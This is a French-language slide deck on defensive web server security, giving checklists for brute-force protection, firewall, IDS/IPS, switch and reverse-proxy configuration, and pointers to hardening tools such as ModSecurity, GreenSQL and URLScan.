l'accès via n'importe quel port TCP autre que le 443 est désactivé


Protéger contre les attaques de brute force

Utiliser l'authentification forte, si possible (one time

password, certificat numérique, etc.)

Verrouiller un compte après un nombre déterminé de

tentatives de connexion a échoué

Appliquer une politique de mot de passe

Mettre une liste noire des adresses IP connus de tenter

des attaques en brute force

Utiliser un logiciel de contrôle du journal (log) pour

détecter les attaques en brute force

SECURISATION DU communuication

INFRASTRUCTURE RÉSEAU SÉCURISÉE

Identifier l'emplacement dans le réseau:

Serveur web est situé dans une DMZ

Évaluer la configuration du firewall:

Serveur web est protégé par un pare-feu de couche d'application

Firewall contrôle tout le trafic entre l'Internet et le serveur web

Pare-feu bloque tout le trafic entrant vers le serveur web, sauf les ports TCP 80

(HTTP) et / ou 443 (HTTPS)

Pare-feu bloque les adresses IP que l’IDS/IPS reporte en tant que des adresses

d’attaque

Pare-feu réseau notifie l'administrateur du serveur web des activités suspectes par

un moyen approprié

Pare-feu offre le filtrage de contenu (pare-feu de couche d'application)

Pare-feu est configuré pour se protéger contre les attaques DoS

Firewall détecte les requêtes mal formés ou les URL d’attaque connus

Firewall journalise (logue) les événements critiques

Le firewall est mis à jour avec les derniers correctifs stables


Évaluer les systèmes de détection et de prévention d'intrusion

IDS/IPS est configuré pour surveiller le trafic réseau depuis et vers le serveur web

IDS/IPS est configuré pour surveiller les changements apportés aux fichiers

importants sur le serveur web (IDS/IPS hôte ou contrôleur d'intégrité de fichiers)

IDS/IPS bloque (en conjonction avec le firewall) les adresses IP ou les sous-

réseaux qui attaquent le réseau de l’entreprise

IDS/IPS avise l’administrateur du serveur web des attaques soupçonnées par des

moyens appropriés

IDS/IPS est configuré de manière à maximiser la détection avec un niveau

acceptable de faux positifs

IDS/IPS est configuré pour enregistrer les événements du journal

IDS/IPS est mis à jour fréquemment avec de nouvelles signatures d'attaque (par

exemple, sur une base quotidienne)

IDS/IPS hôte est configuré pour surveiller les ressources système disponibles au

niveau du serveur web


Évaluer les commutateurs réseau

Les commutateurs sont utilisés pour protéger contre les écoutes réseau

Les commutateurs sont configurés en mode haute sécurité afin de vaincre les

attaques ARP poisoning

Les commutateurs sont configurés pour envoyer tout le trafic sur le segment de

réseau vers l’IDS/IPS réseau.

Évaluer les répartiteurs de charge (Load balancers)

Les répartiteurs de charge sont utilisés pour augmenter la disponibilité du serveur

web

Les équilibreurs de charge sont complétés par les caches web

Evaluer le reverse proxy

Le reverse proxy est utilisé comme une passerelle de sécurité pour accroître la

disponibilité du serveur web

Le reverse proxy est complété par une accélération de chiffrement, une

authentification des utilisateurs et des fonctionnalités de filtrage de contenu


vulture,

modsecurity Firewall Réseau Externe

Application Hébergée

HTTP

Mail

FTP

DNS

P2P

HTTPS

Autres

Serveur

Web

DB

Application Web

Web

Firewall

Green SQL






Hardning du système d’exploitation.(voir le guide dans la site officielle)

Hardning du serveur web(exemple voir guide hardening apache).

Hardning du serveur base des données(exemple voir guide hardening mysql).

Un web firewall applicatif (exemple voir guide de mod security).

Database firewall (exemple green sql).

urlScan:est un outil de sécurité Microsoft qui limite les types de

requêtes HTTP traitées par Internet Information Services (IIS).

IIS lockdown :est un outil qui permet d’assurer un plus haut

niveau de sécurité en désactivant les options inutilisées d’IIS (Internet Information Services). Et contient l’outi urlscan

lien : http://www.laboratoire-microsoft.org/d/?id=11151

http://www.laboratoire-microsoft.org/d/?id=11151



Merci !!!

sécurité des applications web-level1

Education